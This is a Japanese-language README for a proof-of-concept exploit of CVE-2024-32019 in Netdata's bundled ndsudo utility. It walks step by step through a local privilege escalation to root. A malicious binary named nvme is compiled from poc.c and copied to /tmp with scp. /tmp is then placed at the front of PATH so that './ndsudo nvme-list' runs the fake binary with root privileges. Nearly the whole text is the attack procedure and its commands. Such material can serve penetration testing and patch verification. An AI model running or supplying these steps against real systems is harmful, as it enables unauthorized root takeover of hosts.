
netdata ndsudo脆弱性(CVE-2024-32019)のPoC
ndsudo を介した権限昇格 (Netdata ローカルエクスプロイト)このPOCは、Netdataにバンドルされている脆弱な ndsudo ユーティリティを悪用して、ローカル権限をrootに昇格させるために使用されます。このエクスプロイトは、ユーザーの PATH に悪意のあるバイナリを注入し、それが信頼されたコマンド (nvme) を装って ndsudo によってroot権限で実行される仕組みです。
ターゲットシステム上でローカルシェルアクセスがあること。
次のコマンドを実行できるが、「not found」または類似のエラーで失敗すること:
./ndsudo nvme-list
攻撃者マシン (またはコンパイラがある場合は脆弱なシステム) で、バイナリをコンパイルします (例えば、リポジトリ内の poc.c ファイルから):
gcc poc.c -o nvme
このバイナリは、rootシェルを起動したり、root権限で任意のコマンドを実行したりするように作成される必要があります。
コンパイルした nvme バイナリを、ユーザーが書き込み可能なディレクトリ (例えば /tmp) に移動またはアップロードします:
scp nvme user@target:/tmp/
# または利用可能なファイルアップロード方法を使用
ターゲットシステム上で、バイナリが実行可能であることを確認し、そのディレクトリを PATH の先頭に追加します:
chmod +x /tmp/nvme
export PATH=/tmp:$PATH
これにより、ndsudo が正規の nvme ではなく、あなたの悪意のある nvme を解決して実行するようになります。
ndsudo をトリガーしてペイロードを実行する脆弱なコマンドを実行して ndsudo をトリガーします:
./ndsudo nvme-list